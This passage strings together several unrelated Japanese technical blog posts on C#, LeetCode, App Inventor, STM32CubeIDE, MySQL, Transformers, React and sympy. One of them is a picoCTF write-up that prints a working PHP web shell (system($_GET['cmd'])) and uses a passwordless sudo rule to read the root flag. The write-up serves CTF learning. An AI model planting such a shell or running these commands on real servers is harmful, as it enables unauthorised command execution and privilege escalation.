    echo -e "\e[1;32mOK\e[0m"
  else
    echo -e "\e[1;31mNG\e[0m"
  fi
}
```

出力例

```console
asterisk@fedora41:~$ ps -ef | check /usr/lib/systemd/systemd-journald
OK
asterisk@fedora41:~$ ps -ef | check /usr/lib/systemd/systemd-journaldaaa
NG
```

作業するときにコピペしておけばログが見やすい
c# 一時的な配列に関する個人的な試行錯誤

# 目的
一時的な配列を受け渡しするのに、普通の配列やListを使うとGCゴミが発生します。
例えばゲームマネージャーからアクティブなプレイヤーを取得するのを考えます。
```c#
public List<Player> GetActivePlayers()
{
    List<Player> list = new(); //将来的にごみになる
    foreach(var player in players){
        if(player.isActive)list.Add(player);
    }
    return list;
}
```
stack上で処理が完結すれば、ゴミが出ないのではないかというのがこの試行錯誤の原点です。
# 0. stackallocで確保したSpan<T>を、なんやかんやして出力する(ダメ)
普通にエラーになります

```c#
public Span<int> CreateData()
{
    return stackalloc int[]{0,1,2,3};// エラー
}
```

# 1. 構造体を示した一時的なSpan<T>を受け渡す(ダメ)
構造体をSpan<T>として扱えるようなレイアウトで定義して、Span<T>を出力する。
構造体が関数を抜けた瞬間解放されるので、Spanにアクセスできるけどメモリリークになります。
```c#
using System;
using System.Runtime.InteropServices;
class Program
{
    public struct A
    {
        int n0, n1, n2, n3, n4;
        public Span<int> AsSpan() => MemoryMarshal.CreateSpan(ref n0, 5);
    }
    public static Span<int> Create()
    {
        A a = new();
        var span = a.AsSpan();
        span[0] = 0;
        span[1] = 1;
        span[2] = 2;
        span[3] = 3;
        span[4] = 4;
        Display(span);// 0 1 2 3 4
        return span;
    }
    public static void Display(Span<int> span)
    {
        foreach(ref var num in span) Console.WriteLine(num);
    }
    static void Main()
    {
        Display(Create()); // 無茶苦茶な値になる
    }
}
```
# 2. 配列っぽい構造体を受け渡す
1. で出力するのをSpanではなく配列構造体そのものにします。
しかし、[構造体のコピーの仕様](https://qiita.com/utasimaru/items/9caacc46931d8c6fda57)により、配列構造体の大きさによってコピーのコストが発生します。

# 3. UnityのNativeArray(Allocator.Temp)的な処理をする
UnityのNativeArrayはGCが発生しない方法で、いい感じに管理されてるみたいです。
で、Allocator.Tempを指定した場合は、解放処理が一括で行われて処理負荷が全然ないようです。
これとc#のArrayPoolの内容を斜め読みした知識をミックスして、独自の一時配列を作ってみようと思います。

[できたのがこちら](https://qiita.com/utasimaru/items/3b20437410b5912ee64c)
0から始めるLeetcode

# コーディングテストの対策始めました！
みなさん、初めましてKentです！
題名にある通りLeetcodeを始めました。就活でコーディングテストが死にまくってちょっと練習しようかなって気概で始めてみたというところです！

まずは一問解いてきたのでそれについて解説させていただきます。
解いたのは[簡単なリスト](https://leetcode.com/problems/merge-sorted-array/description/?envType=study-plan-v2&envId=top-interview-150)の問題になっているんですが、日本のAtCoderやpaizaとは少し形式が違ったので注意点を書きます。

- stdoutに値を書き込まない
- 指定された変数に書き込む

上記の2点に最初気づかず、難航していました。

問題は、
- 2つのリストが与えられる
- それらの要素数も渡される
- 先頭から要素数分を非減少配列に並べ替えよ

という問題で、一つ目のリストにそのリストをぶち込むというものでした。ずっと標準出力に出してた...

回答
```Python
        nums1[m:] = nums2[:n]
        nums1.sort()
```
たった2行で終わりましたが、最初にしては慣れるという観点からちょうど良かったのではないかと思います。ではまた後日
MIT App Inventorでのブラウザを起動させる方法について（GoogleMapやYouTubeも起動できる！）

### はじめに
MIT App InventorでChromeなどのブラウザに移動する方法です．ブラウザで開くので別アプリに飛ぶこともできます．ブラウザ使っているとGoogleMapやAmazonのアプリに飛ぶことがありますよね．
MIT App InventorにはサイトにアクセスできるWebViewerがありますが，GoogleMapやYoutubeといった別アプリで開きたいときに使える方法を説明します．

### アプリの概要
ボタンを押したらブラウザを開きます．ここでは https://www.google.com/ を開きます．MIT App Inventorから別アプリへ飛ぶのにActivityStarterを使用しました．

:::note info
ActivityStarterについて
[MIT App Inventor公式](https://appinventor.mit.edu/explore/ai2/activity-starter.html)
[MIT App Inventor2 攻略WIKI](https://appinventor2.wiki.fc2.com/wiki/ActivityStarter)
:::

:::note info
注意
AI Companionとインストールではアプリの動作が異なりました．
:::

### デザイナー画面
ボタンを押したら別のアプリに飛ぶので非常にシンプルです．
![スクリーンショット 2025-05-06 203114.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3928359/da37398a-ce86-4239-92e3-51450278003d.png)
|機能|内容|
|:-:|:-:|
|Button1|クリックしたらブラウザを開く|
|ActivityStarter1|別のアプリに飛ぶためのコンポーネント|

### ブロック画面
ここも非常にシンプルです．作成するのは一つだけです．
#### when Button1. Click
クリックしたらブラウザへ移動します．
![blocks.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3928359/7fffa1ba-ac14-4fcc-858f-4b7104181399.png)


以下，ブロック内のテキスト
**set ActivityStarter1. Action to**
```
android.intent.action.VIEW
```
**set ActivityStarter1. DataUri to**
```
## Googleに飛びたいとき
https://www.google.com/

## YouTube開きたいとき
https://www.youtube.com/

## Google Map開きたいとき
https://www.google.co.jp/maps/

```

### 実行結果
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3928359/83bf42a5-45f6-4acc-a3c0-80bfa3a807c2.png" width=45%> 
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3928359/b4e62487-5b4d-4858-97b4-441f147640f6.png" width=45%> 

Chromeを開きました．また，mapを開く際には，ブラウザもしくはアプリの選択画面がでました．

### 終わりに
MIT App Inventorから別アプリに飛べるのは，アプリ開発の幅が広がりそうです．
CubeIDEでgenerate codeが動作しないときに確認すること

# 症状
:::note alert
**STM32CubeIDE 1.16.0 以降で、IDEをインストール後にiocからのコード生成が実行されない**
:::
STM32CubeIDEで重要な機能の一つに、MCUの設定用GUIファイル(iocファイル)からのHALコードの自動生成機能があります。
最近、メインで使用しているPCをとある事情から初期化しCubeIDEを新インストールしたところ、IDEは正常に起動しコンパイルやMCUへの書き込みは正常に機能するものの、HALコードの自動生成が行われない症状に出くわしました。
generate codeコマンドなどを実行しても、**アラートなどは出ないものの一切動作しないので一見して原因がわかりません。**

# 原因
STMicroのフォーラムに同じ症状で困っているスレッドがあったので読んでみました。

https://community.st.com/t5/stm32cubeide-mcus/generate-code-not-working-in-cubeide/td-p/696302

当該スレッド内で共有されている情報として、**IDE内でSTアカウントでのログインをしないとコード生成が行われない仕様になった**ようです。
このスレを立ち上げた人はSTM32CubeIDE 1.16.0を使用しているとのことなので、少なくともこのバージョン以降のIDEを使用する場合はSTアカウントでログインが必要です。
スレ内ではCubeMXのインストールやCubeIDEの修復が必要との声が上がっていましたが、私の場合はログインのみで解決しました。おそらくログイン以外の処理は必要ないかと思われます。
# 対処方法
原因を解決するためにIDEからSTアカウントでのログインを実行します。
Help>STM32Cube updates>Connection to myST からログインフォームを呼び出します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1092604/c4dd1eb0-c038-4fbb-92de-22ed54025c33.png)

mySTアカウント情報を入力する選択肢が現れますので(下画像の水色ボタン)選択します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1092604/bb38e6d6-3771-4bd9-99c8-d2ac2e4156ef.png)

mySTログインフォームが起動しますのでmySTアカウントでログインしてください。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1092604/4d427618-fcf7-4711-bf6a-12fb58ec3406.png)

ログインが通るとHALコードの生成ができるようになりました。

# おわりに（愚痴っぽいなにか）
いつからこの仕様になったか分かりませんが、IDEがiocファイルの取得等でSTMicroのサーバーからデータ等を取得する際にmySTアカウントでの認証を必須とするセキュリティに変わったっぽいです。
セキュリティ強化は全然良いと思いますが、仕様を変えたならログインフォームの誘導やアラートの発報などをしてくれると親切でしたね。
特に目立つ発報がないのに機能が動作しないパターンが一番困る...
MCP-Serverの練習をしたら、ちょっとうすら寒い気分になった話

# はぁ、雨の一日でGWも終わっちゃうね・・・

### って時はコード書くに限りますね！(憶測)
たった一行でも書いたコードは無くならない、ただの休日に何かを残す事が出来るのってとても素敵

# でも残り時間も少ないし何やろうか？

GW前からMCP-Server作る練習しようかとおもてた
でも、大規模なものに取り組む事はできそうでもない、けど、あんま誰もやってない事やりたい

じゃ、**IoTとMCP-Server連結してみては**なんて事を思いついて押し入れからラズパイ引っ張り出してみた

# 作ってみた

マジでラズパイ4からDS18B20を読んでMCPに渡してるだけ

[![yasutakatou/ds18b20 - GitHub](https://gh-card.dev/repos/yasutakatou/ds18b20.svg)](https://github.com/yasutakatou/ds18b20)

# じゃテストしてみよう！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/189193/318f87cb-068d-4550-b3f3-912bc69db397.png)

うん、MCP Inspectorからも読めてるね！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/189193/617ed8eb-4a69-4b3b-8c1a-c26e931c2b79.png)

Copilotからも認識できてる！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/189193/4672bd40-d160-44e4-b702-b8f7922c71ac.png)

よし！成功！！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/189193/49422287-b2e2-4973-bffd-eee3cc7a78bf.png)

### おや・・・なんかリアル側を覗き込まれてるような気がしてきた・・・・

なんかAIとリアルって**面会室を隔ててる感じ**があるんだけど、なんか、このかんじもっと壁をとっぱらった、うすら寒いものを感じましたね

# あとがき
これUSBカメラとかでリアル取り込み、人感センサーやら色々連結したらヘルスチェックみたいなのには良さそうだけど、なんか、不吉なそんな事言うんだ？みたいなことになりそうとか思ったのは僕だけ？（考えすぎ！！）
MySQL エラー1175対処法 (SAFE UPDATE設定を変更せずにテーブルをUPDATEする方法)

```sql
-- Show all databases
SHOW DATABASES;

-- Use the specified database
USE db_name;

-- Show all tables in the current database
SHOW TABLES;

-- Show the keys of the specified table
SHOW KEYS FROM table WHERE Key_name = 'PRIMARY';

-- 'instance_id' is assumed to be the PRIMARY key

-- Retrieve the instance_ids as a comma-separated string
SET @instance_ids = (SELECT GROUP_CONCAT(instance_id) FROM instances WHERE name = 'mikhail ');

-- Prepare the UPDATE query dynamically
SET @update_query = CONCAT('UPDATE instances SET name = "mikhail" WHERE instance_id IN (', @instance_ids, ')');

-- Execute the prepared query
PREPARE stmt FROM @update_query;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
```
Explanation:

この方法では、SAFE UPDATE設定を変更せずに、UPDATEクエリを実行する方法を示します。通常、SAFE UPDATEが有効になっていると、次のような制限が適用されます：

UPDATE文には、インデックスのある列をWHERE句に含める必要があります。

条件が不明確だと、UPDATEがエラーになります。

しかし、instance_idが主キーとして定義されているため、WHERE句にinstance_idを使用することで、SAFE UPDATEの制限を回避できます。

SHOW KEYS FROM table WHERE Key_name = 'PRIMARY':

まず、テーブルの主キー情報を取得します。instance_idは主キーとして設定されていると仮定しています。

SET @instance_ids = ...:

name = 'mikhail'という条件に一致するインスタンスのinstance_idをカンマ区切りの文字列として取得しています。GROUP_CONCATを使用して、複数のIDを1つの文字列にまとめます。

SET @update_query = CONCAT(...):

取得したinstance_idリストを使って、動的にUPDATEクエリを生成します。CONCAT関数を使って、WHERE instance_id IN (...)という形式でクエリを作成します。

PREPARE stmt FROM @update_query; EXECUTE stmt; DEALLOCATE PREPARE stmt;:

最後に、動的に生成したUPDATEクエリを実行します。PREPARE、EXECUTE、DEALLOCATEは、動的クエリを安全に実行するために使用されます。

なぜSAFE UPDATE設定を変更しないのか？
SAFE UPDATEが有効な場合、UPDATE操作はWHERE句でインデックスを使用している必要があります。ここでは、instance_idが主キーでありインデックスが設定されているため、WHERE句にinstance_idを使うことで、SAFE UPDATEの制限をクリアできます。そのため、SAFE UPDATE設定を変更せずにUPDATEを実行することができます。
現在の生成AIで使用されているAttention技術について

## 基本概念と重要性

Transformerは2017年に「Attention is All you Need」という論文で発表された革新的なニューラルネットワークアーキテクチャです。
従来のRNN（再帰型ニューラルネットワーク）やLSTM(長短期記憶)モデルとは異なり、**シーケンシャル**な処理を行わない設計モデルとなっています。

### Transformerの特徴と利点
- 再帰構造を持たず、Attention機構を中心に構成
- 時系列的な処理を並列化できるため、**学習速度が大幅に向上**
- 長期依存関係も保持しやすく、**大規模モデルに適した構造**

#### 従来のモデル(RNN、LSTM)との違い
従来のモデルでは、テキストデータを順番に処理していくため、文章が長くなるほど計算効率が悪くなり、初期の情報が失われていく「勾配消失問題」がありました。

##### RNN(Recurrent Neural Network)の基本構造
RNNは、時系列データや系列的な情報を扱うために作られたニューラルネットワークで、前の時刻の隠れ層(記憶)を保持して処理します。
##### 構造図
```
t時点：
x(t) ─→ [h(t)] ─→ y(t)
         ↑
         │
       [h(t−1)]
```
・x(t)：入力(例：単語や信号など)
・h(t)：隠れ状態：(前時刻からの情報を保持)
・y(t)：出力
→再起的に前の出力が次に影響する構造になります。

#### LSTM(Long Short-Term Memory)の基本構造
LSTMは、RNNの「長期依存性が保持しにくい」と言う問題を解決するために設計されたモデルで、3つのゲートによって情報の流れを制御します。

##### ゲート構造
```
            ┌────────────┐
x(t) ──→──→ │ 忘却ゲート │
            └────────────┘
                  ↓
            ┌────────────┐
x(t) ──→──→ │ 入力ゲート │
            └────────────┘
                  ↓
            ┌────────────┐
           [ 記憶セルの更新 ]
            └────────────┘
                  ↓
            ┌────────────┐
x(t), C(t)→ │ 出力ゲート │ ──→ h(t)
            └────────────┘

```
・忘却ゲート：過去の情報をどれだけ忘れるか制御(forget gate)
・入力ゲート：新しい情報をどれだけ記憶に加えるか(input gate)
・出力ゲート：記憶をどれだけ出力に使うか(output gate)
・C(t)：セル状態(長期記憶)
・h(t)：隠れ状態(短期記憶)



Transformerはこの問題を解決し、文章内の単語間の関係性をより効果的に捉えることができるようになりました。

#### Attentionの基本構造
```
         ┌────────────┐
         │ 入力シーケンス │
         └─────┬──────┘
               ↓
         ┌────────┐
         │  クエリ   │◄────┐
         └────────┘       │
               ↓          │
         ┌────────┐       │
         │   キー    │◄──┘
         └────────┘
               ↓
         ┌────────┐
         │ バリュー │
         └────────┘
               ↓
         ┌─────────────────────┐
         │     Attention計算部       │
         └─────────────────────┘
               ↓
       ┌────────────────┐
       │ コンテキストベクトル │
       └────────────────┘
               ↓
             ┌────┐
             │ 出力 │
             └────┘

```
・**クエリ（Query）**：どの情報に注目すべきかを決める。「問い」
・**キー(Key)**：全ての入力に対しての「注目候補」
・**バリュー(Value)**：実際に引き出すべき情報
・**Attention計算**：QueryとKeyの類似度をもとに重みを付けて、Valueの加重平均を出す。

#### Attention機構の基本概念
Transformerの心臓部とも言える技術です。
この仕組みにより、モデルは入力データの中で「どの部分に注目するべきか」を学習できるようになりました。

#### Attention機構とは何か
Attentionは、単語間の関連性を学習する仕組みです。
人間が文章を読むとき、書く単語の意味を理解するために前後の文脈を参照するように、Attention機構もある単語を理解するために他の関連する単語に「注目(Attention)」します。
これにより、単語の文脈に応じた適切な表現が可能になります。

## 🧩 まとめ

| 比較項目 | RNN | LSTM | Transformer |
|----------|-----|------|-------------|
| 並列処理 | ❌ | ❌ | ✅ |
| 長期依存性の保持 | △ | ◯ | ◎ |
| モデル構造 | 単純 | 中程度（ゲートあり） | 複雑（Attention中心） |
| 学習効率 | 遅い | やや改善 | 非常に高速 |
| 用途例 | 音声認識、簡易時系列処理 | 翻訳、対話、文章生成 | GPT・BERT・翻訳全般 |

### 🙌 最後に
本記事はTransformerやAttentionの自分の理解を深めるために投稿しました。
次回以降に、以下のようなテーマを詳細に掘り下げていく予定です：
- Self-AttentionとMulti-Head Attentionの違い
- Transformerの全体のアーキテクチャ(エンコーダ・デコーダ)
- 位置エンコーディング仕組み
よろしければ「いいね」や「フォロー」で応援お願いします！


📎 参考文献
- Vaswani et al., Attention is All You Need, arXiv:1706.03762

- OpenAI, GPT Technical Reports

- Google AI, BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding
ブラウザでPythonコードを即実行＆共有できる軽量Webツールを作ってみた

技術記事でpython コードを見てすぐに試せないのは面倒と感じ、ブラウザ上で即座に実行・共有できるツールを作ってみることにしました。

## 概要

- エディタ (Monaco Editor)
- Python実行 (Pyodide)
- 出力クリア
- コードシェア
    - URL圧縮 (lzma)

URL長の問題は id を割り当てる方法にしたら大分改善されるが、このアプリのためにデータベース運用とかしたくなかったのでURL圧縮を選択しました。

## 使い方

1. GitHub Pages に行ってコードを記述する
1. "share Code URL" をクリックしてクリップボードにURLをコピーする

```python
val1 = 10
val2 = 4

div, mod = divmod(val1, val2)
print(f"{div=}, {mod=}")
```

<details><summary>Note: スクリーンショット</summary>

![tes.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4011379/6da0fb99-cd81-404d-b2a4-3f150b30aa38.png)

</details>

link: [https://cromon-code.github.io/pycode-runner/#lzma=...](https://cromon-code.github.io/pycode-runner/#lzma=XQAAAAJOAAAAAAAAAAA7GEnXISRVjVX3oIUDmRV5IZCnd22X_5VCK3ZsnmUSaQhbvDjqSWDWi1C1DmJFUu_l8PzyKHprylgViaNWcuKWetdQ9H__1ZTQAA)

## おわりに

似たようなWebのPython実行環境には [Paiza.io](https://paiza.io/ja) や [Python fiddle](https://python-fiddle.com) という高機能サービスが存在するのでできるだけ軽量さやシンプルさを求めてみました。
実用性があるかはわかりませんが、小規模とはいえアプリを作成する過程で色々と学びはあったので無駄ではなかったと思います。

今後機能を追加するとしたら、`time.sleep()` の前後に `print()` を使ってもまとめて出力されるようになっているので、逐次アウトプットが出力されるようにしたい。

## Link

- リポジトリ

https://github.com/cromon-code/pycode-runner/

- 参考記事

https://qiita.com/tomtkg/items/84a041a3761096450349

https://qiita.com/tomtkg/items/79b3166ef0a590be79c8
n0s4n1ty 1 picoCTF Easy Web

# 問題よりわかっていること
- /rootディレクトリにフラグがある
- ファイルのアップロード機能があるWebサイト

# 問題文より推測できること
- /rootにアクセスするためのsudo権限が必要である可能性高い

# Webサイト調査
- ForbiddenとNotFoundは吐く
- ウェブルートをrootとして、/uploads/以下にアップロードされる
    - ファイルアップロード後のupload.phpによる表示より
- ディレクトリトラバーサル(/../../../root/flag)は対策済み
- 画像以外のファイルも受け付けてくれる
    - 試しに適当なmp3投げてみると、音楽を再生できた

# WebShellを置いてみる
拡張子がphpのファイルをしっかりWebサーバがPHPとして実行してくれた。

WebShellはChatGPTにサクッと作ってもらった。
見て分かる通り、Getメソッドで`/uploads/webshell.php?cmd=ls /`のように渡してもらえば、コマンド実行結果が返ってくる。
~~~webshell.php
<?php
if (isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
}
?>
~~~

# コマンド実行による調査
`whoami` --> `www-data`ユーザ権限で動作
`sudo ls` --> エラーを吐かずに結果が返ってくる
`sudo cat /etc/sudoers` --> 最後の行に`www-data ALL=(ALL) NOPASSWD:ALL`が記載! 何があったんだ
`sudo ls /root` --> flag.txtが存在

# 解答
WebShellを作成して、sudo /root/flag.txt
初心者がReactで作るTodoリスト② タスク削除機能編

## タスク削除機能
```jsx
function handleDeleteTodo(id) {
    setTodos(prevTodos => prevTodos.filter(todo => todo.id !== id));
  }
```
削除ボタンをクリックしたとき、そのボタンを持つアイテムのidを引数として渡します。
そして現在の配列をもとにfilter()メソッドで、
「todo.id === id」を満たすもの（つまりさっきのidを持つアイテム）を除外して配列を作ります。

この新しく更新された配列をもとに再びレンダリングされるので、画面にはちゃんとアイテムが消えています。

```jsx
function TodoList({ todos, onDeleteTodo, }) {

  return (
      <ul className="todo-list">
        {todos
          .filter(todo => todo.text.trim())
          .map(todo => {
            return (
              <TodoItem
                key={todo.id}
                todo={todo}
                onDeleteTodo={onDeleteTodo}
              />
            );
          })}
      </ul>
  );
}

// 各アイテム
function TodoItem({ todo, onDeleteTodo}) {
  return (
    <li key={todo.id}>
      <div>
        <span>{todo.text}</span>
      </div>
      <button onClick={() => onDeleteTodo(todo.id)}>削除</button>
    </li>
  );
}
```
(相反定理)例題5:系1と系2で幾何学的境界条件が異なる場合の相反定理→反力の算定＜【⑧ 相反定理 例題（仮想仕事の原理とエネルギ原理）】様を参考にsympyで実行した。


:::note info
[私のsympyの目次 へ](https://qiita.com/mrrclb48z/items/b6207ec7e429458fe7a7#-%E7%9B%B8%E5%8F%8D%E5%AE%9A%E7%90%86-%E4%BE%8B%E9%A1%8C%E4%BB%AE%E6%83%B3%E4%BB%95%E4%BA%8B%E3%81%AE%E5%8E%9F%E7%90%86%E3%81%A8%E3%82%A8%E3%83%8D%E3%83%AB%E3%82%AE%E5%8E%9F%E7%90%86)
:::

# オリジナル
Youtube 仮想仕事の原理の教育に関する研究会 様 　
**(相反定理)例題5:系1と系2で幾何学的境界条件が異なる場合の相反定理→反力の算定(11:35〜13:10)**
https://youtu.be/GbH3tAg0LLQ?t=695
＜まとめ(18:15)
https://youtu.be/GbH3tAg0LLQ?t=1095
＜フル 【⑧ 相反定理 例題 （仮想仕事の原理とエネルギ原理）】(0:00〜19:35)
https://youtu.be/GbH3tAg0LLQ

# sympyのweb上での実行方法
・例題1を参照して下さい。


# sympyで
・ver0.1
```python
from sympy import *
var('PA,PB,δB1_,δB2_,RA,l,EI')
print("#",solve( Eq(-PA*δB1_+RA*δB2_,PB*0) \
                .subs({δB1_:5*PB*l**3/(48*EI),δB2_:PB*l**3/(3*EI)}),RA)[0])
# 5*PA/16
```
#### 作図
・省略

# いつもの? sympyの実行環境と 参考のおすすめです。
[(テンプレート)](https://qiita.com/mrrclb48z/items/00dd08b0317069be9342)

# いつもと違うおすすめです。
[相反定理 共通編 Qiita内](https://qiita.com/mrrclb48z/items/b6207ec7e429458fe7a7#%E7%9B%B8%E5%8F%8D%E5%AE%9A%E7%90%86-%E5%85%B1%E9%80%9A%E7%B7%A8-qiita%E5%86%85)

#### 参考文献

~~＞一部に等分布荷重を受ける単純支持はり~~
~~＞JSME p89~~
　
~~＞片持ちばり 1)~~
~~＞構造力学公式集 表5.1 片持ちばりの公式　p128~~
(相反定理)例題4:系1と系2で幾何学的境界条件が異なる場合の相反定理→反力の算定＜【⑧ 相反定理 例題（仮想仕事の原理とエネルギ原理）】様を参考にsympyで実行した。



:::note info
[私のsympyの目次 へ](https://qiita.com/mrrclb48z/items/b6207ec7e429458fe7a7#-%E7%9B%B8%E5%8F%8D%E5%AE%9A%E7%90%86-%E4%BE%8B%E9%A1%8C%E4%BB%AE%E6%83%B3%E4%BB%95%E4%BA%8B%E3%81%AE%E5%8E%9F%E7%90%86%E3%81%A8%E3%82%A8%E3%83%8D%E3%83%AB%E3%82%AE%E5%8E%9F%E7%90%86)
:::


# オリジナル
Youtube 仮想仕事の原理の教育に関する研究会 様 　
**(相反定理)例題4:系1と系2で幾何学的境界条件が異なる場合の相反定理→反力の算定(9:30〜11:35)**
https://youtu.be/GbH3tAg0LLQ?t=570
＜まとめ(18:15)
https://youtu.be/GbH3tAg0LLQ?t=1095
＜フル 【⑧ 相反定理 例題 （仮想仕事の原理とエネルギ原理）】(0:00〜19:35)
https://youtu.be/GbH3tAg0LLQ

# sympyのweb上での実行方法
・例題1を参照して下さい。


# sympyで
・ver0.1
```python
# ver0.1
from sympy import *
var('PA,δB_,MA,θB_,MB,l,EI')
print("#",solve( Eq(PA*δB_+(-MA*θB_)*2,MB*0*2) \
                .subs({δB_:MB*l**2/(8*EI),θB_:MB*l/(2*EI)}),MA)[0])
# PA*l/8
```
#### 作図
・省略

# いつもの? sympyの実行環境と 参考のおすすめです。
[(テンプレート)](https://qiita.com/mrrclb48z/items/00dd08b0317069be9342)

# いつもと違うおすすめです。
[相反定理 共通編 Qiita内](https://qiita.com/mrrclb48z/items/b6207ec7e429458fe7a7#%E7%9B%B8%E5%8F%8D%E5%AE%9A%E7%90%86-%E5%85%B1%E9%80%9A%E7%B7%A8-qiita%E5%86%85)

#### 参考文献

~~＞一部に等分布荷重を受ける単純支持はり~~
~~＞JSME p89~~
　
~~＞片持ちばり 1)~~
~~＞構造力学公式集 表5.1 片持ちばりの公式　p128~~
(相反定理)例題3:片持ちばり→たわみを算定＜【⑧ 相反定理 例題（仮想仕事の原理とエネルギ原理）】様を参考にsympyで実行した。




:::note info
[私のsympyの目次 へ](https://qiita.com/mrrclb48z/items/b6207ec7e429458fe7a7#-%E7%9B%B8%E5%8F%8D%E5%AE%9A%E7%90%86-%E4%BE%8B%E9%A1%8C%E4%BB%AE%E6%83%B3%E4%BB%95%E4%BA%8B%E3%81%AE%E5%8E%9F%E7%90%86%E3%81%A8%E3%82%A8%E3%83%8D%E3%83%AB%E3%82%AE%E5%8E%9F%E7%90%86)
:::


# オリジナル
Youtube 仮想仕事の原理の教育に関する研究会 様 　
**(相反定理)例題3:片持ちばり→たわみを算定(8:10〜8:10)**
https://youtu.be/GbH3tAg0LLQ?t=490
＜まとめ(18:15)
https://youtu.be/GbH3tAg0LLQ?t=1095
＜フル 【⑧ 相反定理 例題 （仮想仕事の原理とエネルギ原理）】(0:00〜19:35)
https://youtu.be/GbH3tAg0LLQ

# sympyのweb上での実行方法
・例題1を参照して下さい。

# sympyで
・ver0.1
```python
# ver0.1
from sympy import *
var('PA,PB,l,EI,δB,MB,θA_')
print("#",solve( Eq(PA*δB,MB*θA_).subs({θA_:PA*l**2/(2*EI)}),δB)[0])
# MB*l**2/(2*EI)
```
#### 作図
・省略

# いつもの? sympyの実行環境と 参考のおすすめです。
[(テンプレート)](https://qiita.com/mrrclb48z/items/00dd08b0317069be9342)

# いつもと違うおすすめです。
[相反定理 共通編 Qiita内](https://qiita.com/mrrclb48z/items/b6207ec7e429458fe7a7#%E7%9B%B8%E5%8F%8D%E5%AE%9A%E7%90%86-%E5%85%B1%E9%80%9A%E7%B7%A8-qiita%E5%86%85)

#### 参考文献

~~＞一部に等分布荷重を受ける単純支持はり~~
~~＞JSME p89~~
　
~~＞片持ちばり 1)~~
~~＞構造力学公式集 表5.1 片持ちばりの公式　p128~~
(相反定理)例題2:単純ばり→たわみを算定＜【⑧ 相反定理 例題（仮想仕事の原理とエネルギ原理）】様を参考にsympyで実行した。



:::note info
[私のsympyの目次 へ](https://qiita.com/mrrclb48z/items/b6207ec7e429458fe7a7#-%E7%9B%B8%E5%8F%8D%E5%AE%9A%E7%90%86-%E4%BE%8B%E9%A1%8C%E4%BB%AE%E6%83%B3%E4%BB%95%E4%BA%8B%E3%81%AE%E5%8E%9F%E7%90%86%E3%81%A8%E3%82%A8%E3%83%8D%E3%83%AB%E3%82%AE%E5%8E%9F%E7%90%86)
:::


# オリジナル
Youtube 仮想仕事の原理の教育に関する研究会 様 　
**(相反定理)例題2:単純ばり→たわみを算定(6:40〜8:30)**
https://youtu.be/GbH3tAg0LLQ?t=220
＜まとめ(18:15)
https://youtu.be/GbH3tAg0LLQ?t=1095
＜フル 【⑧ 相反定理 例題 （仮想仕事の原理とエネルギ原理）(0:00〜19:35)】
https://youtu.be/GbH3tAg0LLQ

# sympyのweb上での実行方法
・例題1を参照して下さい。

# sympyで
・ver0.1
```python
# ver0.1
from sympy import *
var('PA,PB,l,EI,δB,MB,θA_')
print("#",solve( Eq(PA*δB,MB*θA_).subs({θA_:PA*l**2/(16*EI)}),δB)[0])
# MB*l**2/(16*EI)
```
#### 作図
・省略

# いつもの? sympyの実行環境と 参考のおすすめです。
[(テンプレート)](https://qiita.com/mrrclb48z/items/00dd08b0317069be9342)

# いつもと違うおすすめです。

[相反定理 共通編 Qiita内](https://qiita.com/mrrclb48z/items/b6207ec7e429458fe7a7#%E7%9B%B8%E5%8F%8D%E5%AE%9A%E7%90%86-%E5%85%B1%E9%80%9A%E7%B7%A8-qiita%E5%86%85)

#### 参考文献

~~＞一部に等分布荷重を受ける単純支持はり~~
~~＞JSME p89~~
　
~~＞片持ちばり 1)~~
~~＞構造力学公式集 表5.1 片持ちばりの公式　p128~~
(相反定理)例題1:相反定理の成立つことの確認＜【⑧ 相反定理 例題（仮想仕事の原理とエネルギ原理）】様を参考にsympyで実行した。

:::note info
[私のsympyの目次 へ](https://qiita.com/mrrclb48z/items/b6207ec7e429458fe7a7#-%E7%9B%B8%E5%8F%8D%E5%AE%9A%E7%90%86-%E4%BE%8B%E9%A1%8C%E4%BB%AE%E6%83%B3%E4%BB%95%E4%BA%8B%E3%81%AE%E5%8E%9F%E7%90%86%E3%81%A8%E3%82%A8%E3%83%8D%E3%83%AB%E3%82%AE%E5%8E%9F%E7%90%86)
:::

# オリジナル
Youtube 仮想仕事の原理の教育に関する研究会 様 　
**例題1:相反定理の成立つことの確認(3:00〜6:40)**
https://youtu.be/GbH3tAg0LLQ?t=180
＜まとめ(18:15)
https://youtu.be/GbH3tAg0LLQ?t=1095
＜フル 【⑧ 相反定理 例題 （仮想仕事の原理とエネルギ原理）】(0:00〜19:35)
https://youtu.be/GbH3tAg0LLQ

# sympyのweb上での実行方法
　SymPy Live Shellで。
　https://qiita.com/mrrclb48z/items/00dd08b0317069be9342#web%E4%B8%8A%E3%81%AE%E5%AE%9F%E8%A1%8C%E6%96%B9%E6%B3%95sympy-live-shell%E3%81%A7


# sympyで
・ver0.1
```python
# ver0.1
from sympy import *
var('M0,M_,θ0_')
var('P1,P2,P3,l,EI')
var('δ1_,δ2_,δ3')
EI=Rational(1,81)
equ=Eq(-M0*θ0_+P1*δ1_+P2*δ2_+P3*0,M_*0-M_/l*δ3) \
             .subs({M0:P1*l*Rational(1,3)+P2*2*l*Rational(1,3)+P3*l, \
                    θ0_:M_*l/(3*EI), \
                    δ1_:5*M_*l**2/(81*EI), \
                    δ2_:4*M_*l**2/(81*EI), \
                    δ3 :(4*P1+14*P2+27*P3)*l**3/(81*EI) \
                   })
print("#",        (Eq(equ.lhs,equ.rhs)))
